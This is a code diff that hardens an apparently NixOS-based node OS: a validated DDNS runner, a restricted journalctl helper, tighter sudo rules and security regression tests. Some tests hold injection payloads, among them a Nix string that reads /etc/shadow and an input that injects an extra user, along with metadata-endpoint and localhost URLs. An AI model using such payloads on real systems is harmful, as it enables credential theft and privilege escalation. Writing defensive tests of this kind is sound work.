# Replaces the legacy root cron job that ran /var/lib/njalla/njalla.sh.
|
||||
systemd.services.sovran-ddns-update = {
|
||||
description = "Sovran Njal.la DDNS update (safe JSON-based runner)";
|
||||
wants = [ "network-online.target" ];
|
||||
after = [ "network-online.target" ];
|
||||
serviceConfig = {
|
||||
Type = "oneshot";
|
||||
User = "root";
|
||||
ExecStart = "${pkgs.python3}/bin/python3 /var/lib/sovran/ddns-update.py";
|
||||
# Harden the service — it only needs network access and read access to
|
||||
# /var/lib/njalla/ddns_urls.json.
|
||||
NoNewPrivileges = true;
|
||||
ProtectSystem = "strict";
|
||||
ReadWritePaths = [ "/var/lib/njalla" ];
|
||||
ReadOnlyPaths = [ "/etc/sovran" ];
|
||||
ProtectHome = true;
|
||||
PrivateTmp = true;
|
||||
RestrictAddressFamilies = [ "AF_INET" "AF_INET6" ];
|
||||
};
|
||||
};
|
||||
|
||||
# Run the update every 15 minutes
|
||||
systemd.timers.sovran-ddns-update = {
|
||||
description = "Sovran Njal.la DDNS update timer";
|
||||
wantedBy = [ "timers.target" ];
|
||||
timerConfig = {
|
||||
OnBootSec = "2min";
|
||||
OnUnitActiveSec = "15min";
|
||||
Persistent = true;
|
||||
};
|
||||
};
|
||||
|
||||
# Install the Python runner script at build time so the service can find it.
|
||||
# The script is owned by root and not world-writable.
|
||||
# Uses _validate_ddns_url() from /etc/sovran/security_helpers.py — the same
|
||||
# production validator used by the Hub API — before executing any curl call.
|
||||
# No shell is used; no redirects; no script execution.
|
||||
# ${IP} placeholder is preserved in stored URLs and substituted at runtime;
|
||||
# the URL is validated after substitution so any remaining $ is rejected.
|
||||
system.activationScripts.sovran-ddns-update-script = ''
|
||||
install -d -m 0755 /var/lib/sovran
|
||||
cat > /var/lib/sovran/ddns-update.py <<'PYEOF'
|
||||
#!/usr/bin/env python3
|
||||
"""Sovran safe DDNS update runner.
|
||||
|
||||
Reads ddns_urls.json, substitutes the public IP for the ''${IP} placeholder,
|
||||
validates each URL using the production _validate_ddns_url() from
|
||||
/etc/sovran/security_helpers.py, then calls curl per URL.
|
||||
No shell interpolation. No redirects. No script execution.
|
||||
"""
|
||||
import ipaddress, json, os, subprocess, sys
|
||||
|
||||
sys.path.insert(0, '/etc/sovran')
|
||||
try:
|
||||
from security_helpers import _validate_ddns_url
|
||||
except ImportError:
|
||||
sys.exit(1) # validator missing — fail so systemd logs the misconfiguration
|
||||
|
||||
URLS_FILE = "/var/lib/njalla/ddns_urls.json"
|
||||
|
||||
try:
|
||||
with open(URLS_FILE) as f:
|
||||
urls = json.load(f)
|
||||
if not isinstance(urls, list):
|
||||
raise ValueError("not a list")
|
||||
except Exception:
|
||||
sys.exit(0) # no URLs configured — nothing to do
|
||||
|
||||
# Resolve current public IP once
|
||||
public_ip = ""
|
||||
try:
|
||||
r = subprocess.run(
|
||||
["dig", "@resolver4.opendns.com", "myip.opendns.com", "+short", "-4"],
|
||||
capture_output=True, text=True, timeout=10,
|
||||
)
|
||||
raw = r.stdout.strip().splitlines()[0] if r.stdout.strip() else ""
|
||||
ipaddress.ip_address(raw) # validates — raises if not a real IP
|
||||
public_ip = raw
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if not public_ip:
|
||||
sys.exit(0) # no IP resolved — skip to avoid sending bare ''${IP}
|
||||
|
||||
for raw_url in urls:
|
||||
try:
|
||||
# Substitute ''${IP} placeholder then validate through production validator.
|
||||
# After substitution there must be no $ left; _validate_ddns_url rejects
|
||||
# any remaining $ expression.
|
||||
url = raw_url.replace("''${IP}", public_ip)
|
||||
_validate_ddns_url(url)
|
||||
subprocess.run(
|
||||
["curl", "--silent", "--max-time", "15", "--fail", "--no-location", url],
|
||||
timeout=20, check=False,
|
||||
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
|
||||
)
|
||||
except Exception:
|
||||
pass
|
||||
PYEOF
|
||||
chmod 0500 /var/lib/sovran/ddns-update.py
|
||||
'';
|
||||
}
|
||||
@@ -135,10 +135,16 @@ let
|
||||
"bitcoind.service" = if pkgs ? bitcoind-knots then pkgs.bitcoind-knots.version else (if pkgs ? bitcoind then pkgs.bitcoind.version else "27.1.0");
|
||||
"electrs.service" = if pkgs ? electrs then pkgs.electrs.version else "0.10.6";
|
||||
"lnd.service" = if pkgs ? lnd then pkgs.lnd.version else "0.18.0";
|
||||
"rtl.service" = if pkgs ? clightning-rtl then pkgs.clightning-rtl.version else (if pkgs ? rtl then pkgs.rtl.version else "0.15.2");
|
||||
"btcpayserver.service" = if pkgs ? btcpayserver then pkgs.btcpayserver.version else "2.0.0";
|
||||
# Keep the fallbacks aligned with the vendored packages used by the
|
||||
# service modules (RTL 0.15.8 and Mempool 3.2.1). The nixpkgs attrs are
|
||||
# optional because these packages are built locally in this repository.
|
||||
"rtl.service" = if pkgs ? clightning-rtl then pkgs.clightning-rtl.version else (if pkgs ? rtl then pkgs.rtl.version else "0.15.8");
|
||||
# BTCPay Server is intentionally sourced from pkgs.stable by the service
|
||||
# module. Read the configured package here rather than pkgs.btcpayserver
|
||||
# (unstable), otherwise the Hub can advertise a version that is not running.
|
||||
"btcpayserver.service" = lib.getVersion config.services.btcpayserver.package;
|
||||
"albyhub.service" = if pkgs ? albyhub then pkgs.albyhub.version else "1.8.0";
|
||||
"mempool.service" = if pkgs ? mempool then pkgs.mempool.version else "3.0.0";
|
||||
"mempool.service" = if pkgs ? mempool then pkgs.mempool.version else "3.2.1";
|
||||
"matrix-synapse.service" = if pkgs ? matrix-synapse then pkgs.matrix-synapse.version else "1.115.0";
|
||||
"livekit.service" = if pkgs ? livekit then pkgs.livekit.version else "1.5.2";
|
||||
"vaultwarden.service" = if pkgs ? vaultwarden then pkgs.vaultwarden.version else "1.32.0";
|
||||
@@ -317,7 +323,8 @@ let
|
||||
|
||||
sovran-hub-web = pkgs.python3Packages.buildPythonApplication {
|
||||
pname = "sovran-systemsos-hub-web";
|
||||
version = "1.0.0";
|
||||
# Keep the package metadata in lockstep with the version shown in the Hub.
|
||||
version = sovranVersion;
|
||||
format = "other";
|
||||
|
||||
src = ../../app;
|
||||
|
||||
@@ -0,0 +1,175 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Sovran restricted journal helper.
|
||||
|
||||
A root-owned, non-user-writable diagnostic tool that wraps journalctl with
|
||||
a strict allowlist of safe flags. Replaces the ``journalctl *`` sudo rule
|
||||
in tech-support.nix.
|
||||
|
||||
Accepted flags:
|
||||
--unit / -u <name> must be one of the explicitly approved service units
|
||||
--lines / -n <N> positive integer (max 10000)
|
||||
--priority / -p <level> 0-7 or emerg/alert/crit/err/warning/notice/info/debug
|
||||
--since <datetime> ISO 8601 date/datetime (no paths, no filesystem roots)
|
||||
--until <datetime> ISO 8601 date/datetime (no paths, no filesystem roots)
|
||||
--output / -o <format> short | short-iso | cat | json | verbose
|
||||
|
||||
At least one ``--unit`` flag is required; whole-journal queries are rejected.
|
||||
All other flags, paths, directories, roots, namespaces, and output
|
||||
destinations are rejected with a non-zero exit code.
|
||||
"""
|
||||
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
# ── Allowlists ────────────────────────────────────────────────────────────────
|
||||
|
||||
# Explicit approved units. Only these four services may be queried through
|
||||
# the restricted journal helper. Any other unit is rejected.
|
||||
_APPROVED_UNITS: frozenset[str] = frozenset([
|
||||
"sovran-hub-web.service",
|
||||
"caddy.service",
|
||||
"bitcoind.service",
|
||||
"lnd.service",
|
||||
])
|
||||
|
||||
_ALLOWED_PRIORITIES = frozenset([
|
||||
"0", "1", "2", "3", "4", "5", "6", "7",
|
||||
"emerg", "alert", "crit", "err", "warning", "notice", "info", "debug",
|
||||
])
|
||||
|
||||
_ALLOWED_OUTPUT_FORMATS = frozenset([
|
||||
"short", "short-iso", "cat", "json", "verbose",
|
||||
])
|
||||
|
||||
# ISO 8601 date or datetime: YYYY-MM-DD or YYYY-MM-DDTHH:MM:SS (no paths)
|
||||
_DATETIME_RE = re.compile(r'^\d{4}-\d{2}-\d{2}(T\d{2}:\d{2}(:\d{2})?)?$')
|
||||
|
||||
_MAX_LINES = 10000
|
||||
|
||||
# ── Argument parser ───────────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def _die(msg: str) -> None:
|
||||
print(f"sovran-journal-helper: {msg}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def _validate_unit(val: str) -> str:
|
||||
if val not in _APPROVED_UNITS:
|
||||
_die(
|
||||
f"rejected unit name: {val!r} "
|
||||
f"(allowed: {', '.join(sorted(_APPROVED_UNITS))})"
|
||||
)
|
||||
return val
|
||||
|
||||
|
||||
def _validate_lines(val: str) -> str:
|
||||
try:
|
||||
n = int(val)
|
||||
except ValueError:
|
||||
_die(f"rejected: --lines must be a positive integer, got {val!r}")
|
||||
if n <= 0 or n > _MAX_LINES:
|
||||
_die(f"rejected: --lines must be between 1 and {_MAX_LINES}, got {n}")
|
||||
return str(n)
|
||||
|
||||
|
||||
def _validate_priority(val: str) -> str:
|
||||
if val not in _ALLOWED_PRIORITIES:
|
||||
_die(f"rejected priority: {val!r}")
|
||||
return val
|
||||
|
||||
|
||||
def _validate_datetime(val: str) -> str:
|
||||
if not _DATETIME_RE.match(val):
|
||||
_die(f"rejected: datetime {val!r} (must be YYYY-MM-DD or YYYY-MM-DDTHH:MM:SS)")
|
||||
return val
|
||||
|
||||
|
||||
def _validate_output(val: str) -> str:
|
||||
if val not in _ALLOWED_OUTPUT_FORMATS:
|
||||
_die(f"rejected output format: {val!r}")
|
||||
return val
|
||||
|
||||
|
||||
def main() -> None:
|
||||
args = sys.argv[1:]
|
||||
cmd = ["journalctl"]
|
||||
unit_count = 0
|
||||
|
||||
i = 0
|
||||
while i < len(args):
|
||||
arg = args[i]
|
||||
|
||||
if arg in ("--unit", "-u"):
|
||||
i += 1
|
||||
if i >= len(args):
|
||||
_die("--unit requires a value")
|
||||
cmd += ["--unit", _validate_unit(args[i])]
|
||||
unit_count += 1
|
||||
elif arg.startswith("--unit="):
|
||||
cmd += ["--unit", _validate_unit(arg[len("--unit="):])]
|
||||
unit_count += 1
|
||||
|
||||
elif arg in ("--lines", "-n"):
|
||||
i += 1
|
||||
if i >= len(args):
|
||||
_die("--lines requires a value")
|
||||
cmd += ["--lines", _validate_lines(args[i])]
|
||||
elif arg.startswith("--lines="):
|
||||
cmd += ["--lines", _validate_lines(arg[len("--lines="):])]
|
||||
elif re.match(r'^-n\d+$', arg):
|
||||
cmd += ["--lines", _validate_lines(arg[2:])]
|
||||
|
||||
elif arg in ("--priority", "-p"):
|
||||
i += 1
|
||||
if i >= len(args):
|
||||
_die("--priority requires a value")
|
||||
cmd += ["--priority", _validate_priority(args[i])]
|
||||
elif arg.startswith("--priority="):
|
||||
cmd += ["--priority", _validate_priority(arg[len("--priority="):])]
|
||||
|
||||
elif arg == "--since":
|
||||
i += 1
|
||||
if i >= len(args):
|
||||
_die("--since requires a value")
|
||||
cmd += ["--since", _validate_datetime(args[i])]
|
||||
elif arg.startswith("--since="):
|
||||
cmd += ["--since", _validate_datetime(arg[len("--since="):])]
|
||||
|
||||
elif arg == "--until":
|
||||
i += 1
|
||||
if i >= len(args):
|
||||
_die("--until requires a value")
|
||||
cmd += ["--until", _validate_datetime(args[i])]
|
||||
elif arg.startswith("--until="):
|
||||
cmd += ["--until", _validate_datetime(arg[len("--until="):])]
|
||||
|
||||
elif arg in ("--output", "-o"):
|
||||
i += 1
|
||||
if i >= len(args):
|
||||
_die("--output requires a value")
|
||||
cmd += ["--output", _validate_output(args[i])]
|
||||
elif arg.startswith("--output="):
|
||||
cmd += ["--output", _validate_output(arg[len("--output="):])]
|
||||
|
||||
else:
|
||||
_die(
|
||||
f"rejected flag: {arg!r}. "
|
||||
"Allowed flags: --unit, --lines, --priority, --since, --until, --output"
|
||||
)
|
||||
|
||||
i += 1
|
||||
|
||||
if unit_count == 0:
|
||||
_die(
|
||||
"at least one --unit flag is required; "
|
||||
f"allowed units: {', '.join(sorted(_APPROVED_UNITS))}"
|
||||
)
|
||||
|
||||
result = subprocess.run(cmd)
|
||||
sys.exit(result.returncode)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -11,11 +11,10 @@
|
||||
# (u:sovran-support:---) by the Hub API as soon as a session is started.
|
||||
# • The Hub web UI lets the user grant time-limited access to wallet files
|
||||
# and view a full audit log of every session event.
|
||||
# • Scoped sudo rules allow support staff to edit custom.nix, trigger rebuilds,
|
||||
# restart services, and read logs — without full root or wallet access.
|
||||
#
|
||||
# The `acl` package provides the `setfacl` / `getfacl` utilities required by
|
||||
# the Hub's _apply_wallet_acls() and _revoke_wallet_acls() helpers.
|
||||
# • Scoped sudo rules allow support staff to restart specific services and
|
||||
# read logs — without full root, wallet access, Nix editing, or rebuilds.
|
||||
# • journalctl access is provided only through the root-owned
|
||||
# sovran-journal-helper script (see below) with an allowlist of safe flags.
|
||||
{
|
||||
# ── System packages ────────────────────────────────────────────────────────
|
||||
environment.systemPackages = [ pkgs.acl ];
|
||||
@@ -42,18 +41,40 @@
|
||||
"d /var/lib/sovran-support/.ssh 0700 sovran-support sovran-support -"
|
||||
];
|
||||
|
||||
# ── Restricted journal helper ─────────────────────────────────────────────
|
||||
# The helper is root-owned, not writable by any user, and accepts only a
|
||||
# narrow allowlist of safe journalctl flags. It is the sole mechanism by
|
||||
# which the support user may read journal logs.
|
||||
environment.etc."sovran/sovran-journal-helper.py" = {
|
||||
source = ./sovran-journal-helper.py;
|
||||
mode = "0500";
|
||||
user = "root";
|
||||
group = "root";
|
||||
};
|
||||
|
||||
# ── Scoped sudo rules for support staff ───────────────────────────────────
|
||||
# Grants only the minimum privileges needed for a support session.
|
||||
# Support staff cannot stop/disable/mask services or access wallet files.
|
||||
# Grants only the minimum privileges needed for diagnostic support.
|
||||
# Editing Nix configuration and running nixos-rebuild are intentionally
|
||||
# excluded: combining those two permissions provides a trivial path to
|
||||
# arbitrary root code execution. Systemctl access is limited to a small
|
||||
# allowlist of named service restart operations. journalctl is available
|
||||
# only through the restricted helper above.
|
||||
security.sudo.extraRules = [
|
||||
{
|
||||
users = [ "sovran-support" ];
|
||||
commands = [
|
||||
{ command = "/run/current-system/sw/bin/nano /etc/nixos/custom.nix"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/nano /etc/nixos/configuration.nix"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/nixos-rebuild switch --flake /etc/nixos"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl restart *"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/journalctl *"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl restart sovran-hub-web.service"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl restart caddy.service"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl restart bitcoind.service"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl restart lnd.service"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl status sovran-hub-web.service"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl status caddy.service"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl status bitcoind.service"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl status lnd.service"; options = [ "NOPASSWD" ]; }
|
||||
# Restricted journal helper: accepts only safe flags (--unit, --lines,
|
||||
# --priority, --since, --until, --output). Rejects paths, directories,
|
||||
# namespaces, roots, and arbitrary output destinations.
|
||||
{ command = "/run/current-system/sw/bin/python3 /etc/sovran/sovran-journal-helper.py *"; options = [ "NOPASSWD" ]; }
|
||||
];
|
||||
}
|
||||
];
|
||||
|
||||
+1
-1
@@ -237,7 +237,7 @@ CREDS
|
||||
# idempotent without exposing this service credential in the Hub UI.
|
||||
HUB_ADMIN_CREDS="/var/lib/secrets/matrix-hub-admin"
|
||||
if [ ! -s "$HUB_ADMIN_CREDS" ]; then
|
||||
HUB_ADMIN_USER="sovran-hub-$(tr -dc 'a-z0-9' < /dev/urandom | head -c 20)"
|
||||
HUB_ADMIN_USER="sovran-hub-$(pwgen -sA0 20 1)"
|
||||
HUB_ADMIN_PASS=$(pwgen -s 32 1)
|
||||
if register_new_matrix_user -c /run/matrix-synapse/runtime-config.yaml \
|
||||
-u "$HUB_ADMIN_USER" -p "$HUB_ADMIN_PASS" -a http://localhost:8008; then
|
||||
|
||||
@@ -50,6 +50,7 @@ let
|
||||
nbxplorerPreStart = config.systemd.services.nbxplorer.preStart;
|
||||
bitcoindPreStart = config.systemd.services.bitcoind.preStart;
|
||||
btcpayExecStart = config.systemd.services.btcpayserver.serviceConfig.ExecStart;
|
||||
btcpayWorkingDir = config.systemd.services.btcpayserver.serviceConfig.WorkingDirectory;
|
||||
|
||||
nbxplorerConfigPath = extractAfter "install -m 600" nbxplorerPreStart;
|
||||
btcpayConfigPath = extractFlagValue "--conf" btcpayExecStart;
|
||||
@@ -92,6 +93,13 @@ assert lib.assertMsg
|
||||
&& lib.hasInfix "port=24444" nbxplorerConfig
|
||||
&& lib.hasInfix "postgres=User ID=nbxplorer;Host=/run/postgresql;Database=nbxplorer" nbxplorerConfig)
|
||||
"nbxplorer base config must contain the expected non-secret settings";
|
||||
assert lib.assertMsg
|
||||
(lib.hasInfix "btcexplorerurl=http://127.0.0.1:24444/" btcpayConfig
|
||||
&& lib.hasInfix "btcexplorercookiefile=/build/nbxplorer/Main/.cookie" btcpayConfig)
|
||||
"btcpayserver config must contain btcexplorerurl and btcexplorercookiefile";
|
||||
assert lib.assertMsg
|
||||
(lib.hasSuffix "/lib/btcpayserver" btcpayWorkingDir)
|
||||
"btcpayserver WorkingDirectory must end with /lib/btcpayserver";
|
||||
assert lib.assertMsg
|
||||
(!lib.hasInfix "/build/btcpayserver/settings.config" btcpayExecStart
|
||||
&& lib.hasInfix "--datadir='/build/btcpayserver'" btcpayExecStart)
|
||||
|
||||
@@ -0,0 +1,922 @@
|
||||
"""Security regression tests for Sovran Hub security helpers.
|
||||
|
||||
Tests exercise the exact production implementations — no helpers are
|
||||
redefined or simulated here. Every test calls the deployed code.
|
||||
|
||||
Tests must never:
|
||||
- reboot, rebuild, or alter real SSH keys
|
||||
- access the network
|
||||
- write to system paths
|
||||
"""
|
||||
|
||||
import base64
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import tempfile
|
||||
import unittest
|
||||
|
||||
# Add the app package to the path so we can import without the full FastAPI tree.
|
||||
_REPO_ROOT = os.path.normpath(os.path.join(os.path.dirname(__file__), ".."))
|
||||
_APP_PARENT = os.path.join(_REPO_ROOT, "app")
|
||||
if _APP_PARENT not in sys.path:
|
||||
sys.path.insert(0, _APP_PARENT)
|
||||
|
||||
from sovran_systemsos_web.security_helpers import ( # noqa: E402
|
||||
_nix_escape,
|
||||
NPUB_RE,
|
||||
_validate_npub,
|
||||
_validate_ddns_url,
|
||||
_validate_ssh_pubkey,
|
||||
_DDNS_ALLOWED_HOSTNAMES,
|
||||
_bech32_decode,
|
||||
)
|
||||
from sovran_systemsos_web import support_ops # noqa: E402
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Nix string escaping
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestNixEscape(unittest.TestCase):
|
||||
"""_nix_escape must prevent injection into Nix string literals."""
|
||||
|
||||
def test_double_quotes_escaped(self):
|
||||
self.assertEqual(_nix_escape('"hello"'), '\\"hello\\"')
|
||||
|
||||
def test_backslash_escaped(self):
|
||||
self.assertEqual(_nix_escape("a\\b"), "a\\\\b")
|
||||
|
||||
def test_nix_interpolation_escaped(self):
|
||||
self.assertEqual(_nix_escape("${evil}"), "\\${evil}")
|
||||
|
||||
def test_newline_escaped(self):
|
||||
self.assertEqual(_nix_escape("a\nb"), "a\\nb")
|
||||
|
||||
def test_carriage_return_escaped(self):
|
||||
self.assertEqual(_nix_escape("a\rb"), "a\\rb")
|
||||
|
||||
def test_tab_escaped(self):
|
||||
self.assertEqual(_nix_escape("a\tb"), "a\\tb")
|
||||
|
||||
def test_semicolons_unchanged(self):
|
||||
self.assertEqual(_nix_escape("a;b"), "a;b")
|
||||
|
||||
def test_valid_timezone(self):
|
||||
self.assertEqual(_nix_escape("America/New_York"), "America/New_York")
|
||||
|
||||
def test_injection_payload_quotes_and_interpolation(self):
|
||||
payload = '"; import <nixpkgs/nixos/tests/keymap.nix> { ${builtins.readFile "/etc/shadow"} }'
|
||||
result = _nix_escape(payload)
|
||||
import re as _re
|
||||
self.assertIsNone(_re.search(r'(?<!\\)\$\{', result))
|
||||
|
||||
def test_npub_injection(self):
|
||||
payload = 'npub1aaa"; extraUsers.evil.isNormalUser = true; #'
|
||||
result = _nix_escape(payload)
|
||||
self.assertNotIn('"', result.replace('\\"', ""))
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Nostr npub validation — regex pre-filter
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestNpubValidationRegex(unittest.TestCase):
|
||||
"""NPUB_RE must enforce the npub1 + 58 lowercase bech32 shape."""
|
||||
|
||||
# 58 bech32 chars after "npub1"
|
||||
VALID_SHAPE = "npub1" + "q" * 58
|
||||
|
||||
def test_valid_shape_accepted(self):
|
||||
self.assertIsNotNone(NPUB_RE.fullmatch(self.VALID_SHAPE))
|
||||
|
||||
def test_wrong_prefix_rejected(self):
|
||||
self.assertIsNone(NPUB_RE.fullmatch("nsec1" + "q" * 58))
|
||||
|
||||
def test_too_short_rejected(self):
|
||||
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "q" * 57))
|
||||
|
||||
def test_too_long_rejected(self):
|
||||
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "q" * 59))
|
||||
|
||||
def test_uppercase_rejected(self):
|
||||
self.assertIsNone(NPUB_RE.fullmatch("NPUB1" + "q" * 58))
|
||||
|
||||
def test_injection_quote_rejected(self):
|
||||
self.assertIsNone(NPUB_RE.fullmatch('npub1aaa"; extraUsers.evil.isNormalUser = true; #'))
|
||||
|
||||
def test_injection_interpolation_rejected(self):
|
||||
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "${" + "q" * 52))
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Nostr npub validation — full bech32
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestNpubBech32Validation(unittest.TestCase):
|
||||
"""_validate_npub must verify the full bech32 checksum and payload length."""
|
||||
|
||||
BECH32_CHARSET = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"
|
||||
|
||||
def _make_npub(self, payload_bytes: bytes) -> str | None:
|
||||
"""Build a syntactically valid npub from raw 32-byte payload."""
|
||||
from sovran_systemsos_web.security_helpers import (
|
||||
_bech32_hrp_expand,
|
||||
_bech32_polymod,
|
||||
_bech32_create_checksum,
|
||||
)
|
||||
|
||||
def _convertbits(data, frombits, tobits, pad=True):
|
||||
acc, bits, ret, maxv = 0, 0, [], (1 << tobits) - 1
|
||||
for value in data:
|
||||
acc = ((acc << frombits) | value)
|
||||
bits += frombits
|
||||
while bits >= tobits:
|
||||
bits -= tobits
|
||||
ret.append((acc >> bits) & maxv)
|
||||
if pad and bits:
|
||||
ret.append((acc << (tobits - bits)) & maxv)
|
||||
return ret
|
||||
|
||||
hrp = "npub"
|
||||
data5 = _convertbits(list(payload_bytes), 8, 5)
|
||||
checksum = _bech32_create_checksum(hrp, data5)
|
||||
full = data5 + checksum
|
||||
return hrp + "1" + "".join(self.BECH32_CHARSET[d] for d in full)
|
||||
|
||||
def test_valid_npub_passes_bech32(self):
|
||||
npub = self._make_npub(bytes(32))
|
||||
self.assertIsNotNone(npub)
|
||||
self.assertTrue(_validate_npub(npub))
|
||||
|
||||
def test_bech32_decode_returns_32_bytes(self):
|
||||
npub = self._make_npub(b'\x01' * 32)
|
||||
result = _bech32_decode(npub)
|
||||
self.assertIsNotNone(result)
|
||||
hrp, payload = result
|
||||
self.assertEqual(hrp, "npub")
|
||||
self.assertEqual(len(payload), 32)
|
||||
|
||||
def test_corrupted_checksum_rejected(self):
|
||||
npub = self._make_npub(bytes(32))
|
||||
# Flip last character in the data part
|
||||
corrupted = npub[:-1] + ("q" if npub[-1] != "q" else "p")
|
||||
self.assertFalse(_validate_npub(corrupted))
|
||||
|
||||
def test_mixed_case_rejected(self):
|
||||
npub = self._make_npub(bytes(32))
|
||||
mixed = npub[:10].upper() + npub[10:]
|
||||
self.assertFalse(_validate_npub(mixed))
|
||||
|
||||
def test_wrong_hrp_rejected(self):
|
||||
self.assertFalse(_validate_npub("nsec1" + "q" * 58))
|
||||
|
||||
def test_synthetic_all_q_rejected_by_checksum(self):
|
||||
self.assertFalse(_validate_npub("npub1" + "q" * 58))
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# DDNS URL validation
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestDdnsUrlValidation(unittest.TestCase):
|
||||
"""_validate_ddns_url must enforce all security constraints."""
|
||||
|
||||
# VALID_URL has no ${IP}: callers must substitute before validation.
|
||||
VALID_URL = "https://njal.la/update/?h=test.example.com&k=TOKEN&a=1.2.3.4"
|
||||
|
||||
def test_valid_njalla_url_accepted(self):
|
||||
self.assertEqual(_validate_ddns_url(self.VALID_URL), self.VALID_URL)
|
||||
|
||||
def test_www_njalla_accepted(self):
|
||||
url = "https://www.njal.la/update/?h=test&k=TOKEN"
|
||||
self.assertEqual(_validate_ddns_url(url), url)
|
||||
|
||||
def test_http_scheme_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("http://njal.la/update/?k=TOKEN")
|
||||
|
||||
def test_ftp_scheme_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("ftp://njal.la/update/?k=TOKEN")
|
||||
|
||||
def test_credentials_in_url_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("******njal.la/update/?k=TOKEN")
|
||||
|
||||
def test_fragment_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://njal.la/update/?k=TOKEN#frag")
|
||||
|
||||
def test_raw_ip_host_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://1.2.3.4/update/?k=TOKEN")
|
||||
|
||||
def test_non_standard_port_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://njal.la:8443/update/?k=TOKEN")
|
||||
|
||||
def test_control_character_newline_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://njal.la/update/?k=TOKEN\n")
|
||||
|
||||
def test_control_character_null_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://njal.la/update/?k=\x00TOKEN")
|
||||
|
||||
def test_percent_encoded_null_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://njal.la/update/?k=TOKEN%00")
|
||||
|
||||
def test_localhost_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://localhost/update/?k=TOKEN")
|
||||
|
||||
def test_127_0_0_1_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://127.0.0.1/update/?k=TOKEN")
|
||||
|
||||
def test_arbitrary_public_hostname_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://example.com/update/?k=TOKEN")
|
||||
|
||||
def test_attacker_host_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://attacker.njal.la/update/?k=TOKEN")
|
||||
|
||||
def test_metadata_endpoint_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://169.254.169.254/update/?k=TOKEN")
|
||||
|
||||
def test_empty_url_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("")
|
||||
|
||||
def test_too_long_rejected(self):
|
||||
long_url = "https://njal.la/update/?" + "k=" + "x" * 3000
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url(long_url)
|
||||
|
||||
def test_allowed_hostnames_set(self):
|
||||
self.assertIn("njal.la", _DDNS_ALLOWED_HOSTNAMES)
|
||||
self.assertIn("www.njal.la", _DDNS_ALLOWED_HOSTNAMES)
|
||||
self.assertNotIn("attacker.njal.la", _DDNS_ALLOWED_HOSTNAMES)
|
||||
self.assertNotIn("localhost", _DDNS_ALLOWED_HOSTNAMES)
|
||||
|
||||
def test_dollar_expression_rejected(self):
|
||||
"""$ in a validated URL is rejected; callers must substitute ${IP} first."""
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://njal.la/update/?h=test&k=TOKEN&a=${IP}")
|
||||
|
||||
def test_wrong_path_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
_validate_ddns_url("https://njal.la/api/?k=TOKEN")
|
||||
|
||||
def test_exact_update_path_accepted(self):
|
||||
url = "https://njal.la/update/?h=host.example.com&k=TOKEN"
|
||||
self.assertEqual(_validate_ddns_url(url), url)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# SSH public-key validation
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestSshPubkeyValidation(unittest.TestCase):
|
||||
"""_validate_ssh_pubkey must accept only valid single-line OpenSSH public keys."""
|
||||
|
||||
VALID_ED25519 = (
|
||||
